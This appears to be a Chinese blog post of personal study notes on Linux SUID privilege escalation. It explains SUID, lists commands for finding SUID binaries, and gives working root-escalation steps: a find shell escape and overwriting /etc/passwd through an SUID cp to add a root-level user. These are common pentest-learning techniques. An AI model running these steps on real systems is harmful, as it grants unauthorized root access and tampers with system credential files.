suid提权命令大全https://gtfobins.github.io/

参考链接参考链接,仅作为自己学习的使用

@

🍫suid简述

SUID (Set owner User ID up on execution) 是给予文件的一个特殊类型的文件权限。

在 Linux/Unix中,当一个程序运行的时候, 程序将从登录用户处继承权限。SUID被定义为给予一个用户临时的(程序/文件)所有者的权限来运行一个程序/文件。用户在执行程序/文件/命令的时候,将获取文件所有者的权限以及所有者的UID和GID。

如果root给一个程序赋予了SUID权限,则普通用户在执行该程序过程中,是root权限。

suid权限仅对二进制程序有效(binary program)(系统中的一些命令),不能用在脚本上(script)。;
执行者对于该程序需要具有x的可执行权限;
本权限仅在执行该程序的过程中有效(run-time);
执行者将具有该程序拥有者的权限。

🍫设置suid权限

chmod u+s /usr/bin/find

ll /usr/bin | grep find
在这里插入图片描述
chmod u+s /usr/bin/find
ll /usr/bin | grep find
在这里插入图片描述
当s这个标志出现在文件所有者的x权限上时,如/usr/bin/find这个文件的权限状态:“-rwsr-xr-x.”,此时就被称为Set UID,简称为SUID

🍫查找拥有suid权限的程序

不同系统适用于不同的命令

1、
find / -perm -u=s -type f 2>/dev/null

-perm 指定权限
-u=s 表示SUID权限
-type 指定文件类型
f 表示常规文件,而不是目录或特殊文件
2 表示该进程的第二个文件描述符,即stderr(标准错误)
/dev/null 是一个特殊的文件系统对象,它将丢弃写入其中的所有内容。

在这里插入图片描述
find命令具有suid权限(是因为我们上一步添加的)

2、
find / -user root -perm -4000 -exec ls -ldb {} ;

3、
find / -user root -perm -4000 -print 2>/dev/null

🍫各种提权命令

常见具有SUID权限的二进制可执行文件如下
nmap vim find bash more less nano cp awk

这个网站是大全 https://gtfobins.github.io/

find命令

在这里插入图片描述
筛选出了所有具有suid权限之后,可以提权的命令
在这里插入图片描述
找到find
在这里插入图片描述
这就是find拥有suid权限的提权命令了
./find . -exec /bin/sh -p \; -quit
在这里插入图片描述
提权成功了

cp命令

以普通用户运行cp命令时,此时的cp权限就为root,利用时,可以cp把/etc/passwd复制到桌面,然后进行修改。

用openssl生成一个密码
openssl passwd -1 -salt hello abc
passwd参数代表生成一个密码,-1为md5,-salt指定盐(随意指定),最后跟要加密的值,也就是密码abc。

按照etc/passwd的格式添加一个新用户,权限按root的写即可。

cp ./passwd /etc/passwd
替换/etc/passwd

tail -n 3 /etc/passwd
查看是否替换成功

su abc
输入密码abc

登录成功,则为root权限了


其他常用命令,后续补充

posted on 2022-06-22 22:33  zhangkaibin0921  阅读(183)  评论(0编辑  收藏  举报